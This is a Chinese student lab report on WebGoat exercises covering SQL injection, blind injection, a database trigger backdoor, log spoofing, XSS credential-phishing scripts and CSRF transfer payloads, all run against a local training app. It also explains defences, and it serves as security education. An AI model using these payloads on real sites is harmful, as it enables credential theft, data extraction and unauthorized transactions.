一、实验目标
- 理解常用网络攻击技术的基本原理
- 做不少于7个题目,包括SQL,XSS,CSRF
- Webgoat实践下相关实验
二、实验内容
- WebGoat安装
- SQL注入攻击
- 命令注入(Command Injection)
- 数字型注入(Numeric SQL Injection)
- 日志欺骗(Log Spoofing)
- 字符串注入(String SQL Injection)
- SQL 注入(LAB: SQL Injection)
- 数据库后门(Database Backdoors)
- 数字型盲注入(Blind Numeric SQL Injection)
- 字符串型盲注入(Blind String SQL Injection)
- XSS攻击
- XSS 钓鱼(Phishing with XSS)
- 存储型XSS攻击(Stored XSS Attacks)
- 反射型XSS攻击(Reflected XSS Attacks)
- CSRF攻击
- 跨站请求伪造(Cross Site Request Forgery (CSRF))
- 绕过 CSRF 确认( CSRF Prompt By‐Pass)
三、基础问题回答
1. SQL注入攻击原理,如何防御
原理:
- 应用程序会将输入带入后台的SQL查询语句
- Web应用对后台数据库查询语句处理存在的安全漏洞
- 在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查
- 后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果
防御:
- 使用正则表达式过滤传入的参数
- 检查输入数据类型和格式,不允许用户输入
'
、--
、#
- 关闭或删除不必要的交互式提交表单页面
- 不要在服务器端放置备份的文件以免受到感染,或备份的文件含有漏洞,造成切入点
- jsp中调用函数检查是否包函非法字符,做好规范的校验工作,比如搜索框不能输入非法字符、限制输入的长度等
- 使用prepared statements语句绑定变量来执行SQL字符串
2. XSS攻击的原理,如何防御
原理:
- 攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害
- 攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全
防御:
- 用户防御:提高防范意识,不要轻易输入个人信息,如用户名密码
- 特征匹配方式:在所有提交的信息中都进行匹配检查。对于这种类型的XSS攻击,采用的模式匹配方法一般会需要对
javascript
这个关键字进行检索,一旦发现提交信息中包含javascript
,就认定为XSS攻击 - 输入过滤:对所有用户提交内容进行输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤
- 字符编码:在输出数据之前对潜在的威胁的字符进行编码、转义
- 特定检查:实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行
- HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie
- 使用验证码:防止脚本冒充用户提交危险操作
3. CSRF攻击原理,如何防御
原理:
CSRF(Cross site request forgery)
,即跨站请求伪造。我们知道XSS是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息。而CSRF确实,借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为跨站请求伪造- CSRF的攻击分为了两步,首先要注入恶意URL地址,然后在该地址中写入攻击代码,利用标签或者使用Javascript脚本
- CSRF一般的攻击过程是,攻击者向目标网站注入一个恶意的CSRF攻击URL地址,当用户访问某特定网页时,如果用户点击了该URL,那么攻击就触发了,我们可以在该恶意的url对应的网页中,利用来向目标网站发生一个get请求,该请求会携带cookie信息,所以也就借用了用户的身份,也就是伪造了一个请求,该请求可以是目标网站中的用户有权限访问的任意请求。也可以使用javascript构造一个提交表单的post请求,比如构造一个转账的post请求
防御:
- 验证referer:因为伪造的请求一般是从第三方网站发起的,所以第一个防御方法就是判断referer头,如果不是来自本网站的请求,就判定为CSRF攻击。但是该方法只能防御跨站的csrf攻击,不能防御同站的csrf攻击
- 使用验证码:每一个重要的post提交页面,使用一个验证码,因为第三方网站是无法获得验证码的。还有使用手机验证码,比如转账是使用的手机验证码。
- 使用token:每一个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定位CSRF攻击。将敏感操作又get改为post,然后在表单中使用token. 尽量使用post也有利于防御CSRF攻击
- 提高防范意识:
- 避免全站通用的cookie,严格设置cookie的域
- 尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post操作
四、实验任务
1.WebGoat安装
WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。
-
在终端输入命令运行
WebGoatjava -jar webgoat-container-7.0.1-war-exec.jar
- 当显示如下图的
Starting ProtocolHandler ["http-bio-8080"]
时,可进行下一步操作。使用过程中不要关闭终端
- 浏览器打开
http://127.0.0.1:8080/WebGoat/login.mvc
,如下图有登录的账号和密码,用guest登录即可
- 登录后即可看到如下图所示的各种教程
show solution
显示答案,show hints
显示提示
2.SQL注入攻击
SQL注入攻击,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的攻击
①命令注入(Command Injection)
原理:
- 命令注入攻击是在正常的参数提交过程中,添加恶意的代码的攻击方法
- 它向操作系统注入命令,使用系统命令获取文件的内容
- 它对针对任何一个以参数驱动的站点
- 技术方法简单易学,能造成大范围的损害,危及系统安全
- 尽管这类风险数目很多,但互联网中的系统很容易受到这种形式的攻击
操作:
- 右键表单选择框的下拉框,选择
Inspect Element(Q)
审查网页元素,然后修改源代码
- 在复选框中任意一栏的代码,右键单击后,选择
Edit At Html
进行修改,添加"& ps -ef"
- 点击
view
,就可以成功看到进程信息
②数字型注入(Numeric SQL Injection)
原理:
- 注入数字型数据(如:永真式)达到注入的效果
- 在station字段中注入特征字符,组合成新的SQL语句。如:
SELECT * FROM weather_data WHERE station = [station]
操作:
- 右键表单选择框的下拉框,选择
Inspect Element(Q)
,然后修改源代码,进行SQL注入。在某个选项的value值后面,加上代码or 1=1
,使该式子成为永真式
- SQL语句变为了
SELECT * FROM weather_data WHERE station = 101 or 1 = 1
,后面是永真式。所以这样会执行语句SELECT * FROM weather_data
,就可以成功查询到所有的信息
③日志欺骗(Log Spoofing)
原理:
- 添加假的日志信息来迷惑操作系统
- 目的是让用户名
admin
成功登录 - 通过在日志文件中插入脚本实现欺骗
- 攻击者可以利用这种方式清除他们在日志中的痕迹
- 攻击者还可以利用这种方式向日志文件中添加恶意脚本,如果把
admin <script>alert(document.cookie)</script>
作为用户名输入,能够获得登录用户的cookie
操作:
- 利用入回车:
0D%
和换行符:%0A
,在username
中填入wyf%0d%0aLogin Succeeded for username: admin
,密码随意输入,点击登录就会出现两行,一行提示wyf
登录失败,另一行提示admin
登录成功,这些信息就会被保存到日志里,成功实现日志欺骗
④字符串注入(String SQL Injection)
原理:
- 通过注入字符串绕过认证
- 应用程序会将您的输入带入后台的 SQL 查询语句
- 基于查询语句
SELECT * FROM user_data WHERE last_name = '?'
构造自己的 SQL 注入字符串 - 和数字型一样,我们的目的是构建一个永真式,由于字符串在数据库中是由
'
构成的。因此,我们在last name
中输入Smith' OR '1'='1
,所有的用户信息被输出
操作:
- 输入查询的用户名
Smith' or 1=1--
,成功得到所有用户的信用卡号码
- 原因是
Smith
和1=1
都成了查询的条件,而1=1
是恒等式,因此能查询到表里面的所有数据
⑤SQL 注入(LAB: SQL Injection)
Stage 1: 字符串型注入(Stage 1: String SQL Injection)
原理:
- 通过注入字符串绕过认证
操作:
- 右键点击页面,选择
inspect Element
审查网页元素对源代码进行修改,将password密码框的最大长度限制改为20或更大
- 以用户Neville(admit)登录,输入密码
hello' or '1' = '1
,成功得到所有人员列表
Stage 3: 数字型 SQL 注入(Stage 3: Numeric SQL Injection)
原理:
- 通过注入数字型数据,绕过认证
- 可以通过普通账户,查看到管理员的用户信息
操作:
- 首先使用用户名
Larry
和密码larry
登录,浏览员工信息的按钮是ViewProfile
- 右键审查网页元素修改源代码,用社会工程学解释老板应该是工资最高的,所以将员工ID的
value
改成101 or 1=1 order by salary desc
,使得老板的信息作为查询到的第一条数据
- 成功得到老板的账户信息
⑥数据库后门(Database Backdoors)
原理:
- 数据库通常作为一个 Web 应用程序的后端,它可以被用来作为存储恶意活动的地方,如触发器
- 可以利用查询的脆弱性创建触发器
- 触发器是在数据库管理系统上调用另一个数据库操作,如
insert
,select
,update
,delete
- 插入查询语句的字符串没有经过任何处理,可以输入多条语句进行增、删、改、查
- 攻击者可以创建一个触发器, 该触发器在创建新用户时,将每个新用户的Email地址设置为攻击者的地址
- 触发器是在数据库管理系统上调用另一个数据库操作,如
操作:
- 输入id
101
,我们可以看到插入查询语句的字符串没有经过任何处理,即可以输入多条语句进行增、删、改、查
- 输入注入语句
101; update employee set Password=20175217
执行,可以看见密码框成功变为了自己设置的密码
- 输入语句:
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='wyf@qq.com'WHERE userid = NEW.userid
- 之后当用户更新设置邮箱时,就会设置成攻击者的地址
BEFORE
参数指定了触发执行的时间,表示在事件之前FOR EACH ROW
表示任何一条记录上的操作满足触发事件都会触发该触发器,也就是说触发器的触发频率是针对每一行数据触发一次
⑦数字型盲注入(Blind Numeric SQL Injection)
原理:
- 某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语句
- 使用表单的返回信息(真或假)测试检查数据库中其它条目信息
- 可以利用系统后台在用的查询语句
SELECT * FROM user_data WHERE userid=accountNumber;
- 如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。使用AND函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果提示帐号有效,否则无效
- 例如,输入查询语句
101 AND 1=1
,因为两个条件都成立,所以页面返回帐号有效
- 输入查询语句
101 AND 1=2
,因为第二个条件不成立,所以而页面返回帐号无效
- 最后,可以使用二分法不断调整数值,缩小判断范围,判断出PIN数值的大小
- 可以利用系统后台在用的查询语句
操作:
- 针对查询语句的后半部分构造复杂语句,语句
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
可以告诉我们PIN数值是否大于10000 - 这里提示
Invalid account number
表示PIN<=10000
- 经过二分法的不断调整后得到如下语句返回帐号有效:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
- 因此PIN数值为
2364
⑧字符串型盲注入(Blind String SQL Injection)
原理:
- 与上一个数字型盲注入基本相同,只是pin字段类型为
varchar
操作:
- 本节课程非常类似与上一节,最大的不同是要查询的字段是一个字符串而不是数值。因此我们同样可以通过注入的方式查找到该字段的值。
- 查询语句类似上一节:
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) <'H' );
- 该语句使用了SUBSTRING方法,取得PIN字段数值的第一个字母
- SUBSTRING 语法为
SUBSTRING(STRING,START,LENGTH)
- SUBSTRING 语法为
- 本课程中
Invalid account number
表示其PIN字段首字母≥H
- 经过多次测试(比较0-9、A-Z、a-z等字符串)和页面的返回数据,判断出第一个字符为
J
- 同理继续判断第二个字符
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) <'h' );
- 最终,判断出PIN字段的值为
Jill
3.XSS攻击
跨站脚本攻击是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击。
①XSS 钓鱼(Phishing with XSS)
原理:
- 如果有权限操作页面源代码,HTML文档的内容是可以被篡改的
- 当用户输入非法HTTP响应时容易受到XSS攻击
- 在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容
- 对于受害者来说很难发现该内容是否存在威胁
操作:
- 利用XSS可以在已存在的页面中进一步添加元素,包括两部分:
- 被攻击者填写一个表格
- 服务器以读取脚本的形式,将收集到的信息发送给攻击者
- 编写一段脚本读取被攻击者在表单上输入的用户名和密码信息
- 编写一个带用户名和密码输入框的表格
- 将这两段代码合并
</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
- 这段代码会读取您在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat
②存储型XSS攻击(Stored XSS Attacks)
原理:
- 这种攻击常见于论坛等留言平台
- 用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中
- 因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行
- 创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容
操作:
- 在
title
中任意输入字符。在Message
中输入代码<script>alert('20175217wyf')</script>
- 然后下面会出现
title
中输入的字符,点击该链接,由其他人浏览,就会弹出一个对话框,写着20175217wyf
,证明XSS攻击成功
- 或者更为复杂的,如果用以下的代码
<head>
<body>
<div> <div style="float:left;height:100px;50%;background-color:yellow;"></div>
<div style="float:left;height:100px;50%;background-color:orange;"></div>
</div> <div style="background-color:grey;height:200px;clear:both;"></div>
</div></div>
</form>
<script> function hack()
{
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.ï¼ÂÂï¼ÂÂï¼ÂÂï¼ÂÂï¼ÂÂï¼ Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish"> <br> <br> <HR>
<H2>This feature requires account login:</H2> <br>
<br>Enter Username:<br> <input type="text" name="user">
<br>Enter Password:<br> <input type="password" name = "pass"> <br>
<input type="submit" name="login" value="login" onclick="hack()">
</form> <br> <br> <HR>
</body>
</head>
- 点击链接之后,会出现黄色、橙色、灰色的div滑块,下面还会出现输入用户名和密码的表单,如果受害者输入就会成功被截获用户名和密码
③反射型XSS攻击(Reflected XSS Attacks)
原理:
- 在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它
- 发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS随响应内容一起返回给浏览器,最后浏览器解析执行XSS代码
- 反射型XSS是不持久的,在提交到后台的过程中输入的JavaScript脚本就会被执行
操作:
- 输入代码
<script>alert("hello");</script>
,点击Purchase
,成功显示警告框,内容为我们script脚本写的hello
4.CSRF攻击
CSRF就是冒名登录,核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中。攻击者并不关心被害者具体帐号和密码。因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器
①跨站请求伪造(Cross Site Request Forgery (CSRF))
原理:
- 跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段
- 当受害者的浏览器试图打开这个页面
<img src="http://www.mybank.com/sendFunds.do?acctId=123456"/>
时,它会使用指定的参数向www.mybank.com
的transferFunds.do
页面发送请求 - 浏览器认为将会得到一个图片,但实际上是一种资金转移功能
- 该请求将包括与网站相关的任何
cookies
- 因此,如果用户已经通过网站的身份验证,并有一个永久的
cookie
,甚至是当前会话的cookie
,网站将没有办法区分这是否是一个从合法用户发出的请求 - 通过这种方法,攻击者可以让受害者执行一些他们本来没打算执行的操作,如注销、采购项目或者这个脆弱的网站提供的任何其他功能
- 当受害者的浏览器试图打开这个页面
操作:
- 根据当前访问URL中的
scr
和menu
在消息框中嵌入HTML代码<img src="http://localhost/WebGoat/attack?Screen=2078372&menu=900&transferFunds=5000" width="1" height="1" />
- 这段代码中包含一个图片,链接到一个网站
- 提交后会发现链接,点击该链接,当前页面就会下载这个消息并显示出来,转走用户的5000元,CSRF攻击就成功了
②绕过 CSRF 确认( CSRF Prompt By‐Pass)
原理:
- 跨站点请求伪造欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令
- 提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它
CSRF Prompt By‐Pass
通过发出另一个伪造的请求来绕过这样的提示符。这也适用于一系列提示,例如向导或发出多个不相关的伪造请求
操作:
- 与上一个攻击相似,查看页面右侧
Parameters
中的src
和menu
值分别为1471017872和900,并在title
框中输入学号,message
框中输入代码:
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=CONFIRM"> </iframe>
- 在
Message List
中生成以title
命名的链接,点击进入后,攻击成功
五、实验总结体会
这次做的是Web安全基础,主要包含SQL注入攻击、XSS攻击和CSRF攻击,主要参考学姐的博客完成。实验主要是在WebGoat平台完成的,这个平台很稳定,功能强大,每个攻击的介绍也很清晰。因此,本次实验没有遇到很大的问题。最大的问题可能是GitHub限速的问题。WebGoat下载很慢费了很长时间,这个不知道有什么好的解决方法。
通过本次实验,我实践并掌握了多种SQL注入攻击、XSS攻击和CSRF攻击技术,我接触到了更多的不同实际情况下的各种对web的攻击,使我对网络攻击的方法和原理有了更深层次的理解。在这个实践的过程中我也感受了很多现实情况下对漏洞的侵害,提高了我对网络风险的认识。
本学期的最后一个实验了,突然要结束了,想想这个学期做了这么多实验也是不容易,但现在看看也是很有成就感的吧,也学到了很多东西。经过这个学期的学习实验,我觉得学习网络技术最重要的就是各方面基础知识的广泛收集掌握能力和自己动手自学实践能力,这些相信这些能力不仅仅局限于这门课,在今后的学习生活中都会很有用的。